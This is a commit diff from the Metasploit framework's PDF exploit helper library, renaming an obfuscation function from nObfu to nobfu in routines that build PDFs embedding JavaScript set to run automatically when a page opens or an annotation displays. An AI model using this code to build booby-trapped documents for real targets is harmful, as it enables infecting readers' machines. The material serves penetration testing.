Skip to content

Commit 609c490

Browse files
committed
I missed nobfu
1 parent 2ed0586 commit 609c490

File tree

1 file changed

+14
-14
lines changed

1 file changed

+14
-14
lines changed

lib/msf/core/exploit/pdf.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -186,7 +186,7 @@ def xref_table
186186
end
187187

188188
def trailer(root_obj)
189-
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
189+
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
190190
ret
191191
end
192192

@@ -277,10 +277,10 @@ def pdf_with_page_exploit(js,strFilter)
277277
@pdf = ''
278278
279279
@pdf << header
280-
add_object(1, nObfu("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu("/Pages ") << io_ref(3) << ">>")
281-
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
282-
add_object(3, nObfu("<</Type/Pages/Kids[") << io_ref(4) << nObfu("]/Count 1>>"))
283-
add_object(4, nObfu("<</Type/Page/Parent ") << io_ref(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << io_ref(5) << nObfu("/S /JavaScript >>>>>>"))
280+
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
281+
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
282+
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
283+
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
284284
compressed = js
285285
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
286286
stream << "stream" << eol
@@ -301,10 +301,10 @@ def pdf_with_openaction_js(js,strFilter)
301301
302302
@pdf << header
303303
304-
add_object(1, nObfu("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu("/Pages ") << io_ref(3) << ">>")
305-
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
306-
add_object(3, nObfu("<</Type/Pages/Kids[") << io_ref(4) << nObfu("]/Count 1>>"))
307-
add_object(4, nObfu("<</Type/Page/Parent ") << io_ref(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << io_ref(5) << nObfu("/S /JavaScript >>>>>>"))
304+
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
305+
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
306+
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
307+
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
308308
compressed = js
309309
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
310310
stream << "stream" << eol
@@ -324,11 +324,11 @@ def pdf_with_annot_js(js,strFilter)
324324
325325
@pdf << header
326326
327-
add_object(1, nObfu("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu("/Pages ") << io_ref(3) << ">>")
328-
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
329-
add_object(3, nObfu("<</Type/Pages/Kids[") << io_ref(4) << nObfu("]/Count 1>>"))
330-
add_object(4, nObfu("<</Type/Page/Parent ") << io_ref(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << io_ref(5) << nObfu("]>>"))
331-
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nObfu("/S /JavaScript >>>>>>"))
327+
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
328+
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
329+
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
330+
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
331+
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
332332
compressed = js
333333
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
334334
stream << "stream" << eol

0 commit comments

Comments
 (0)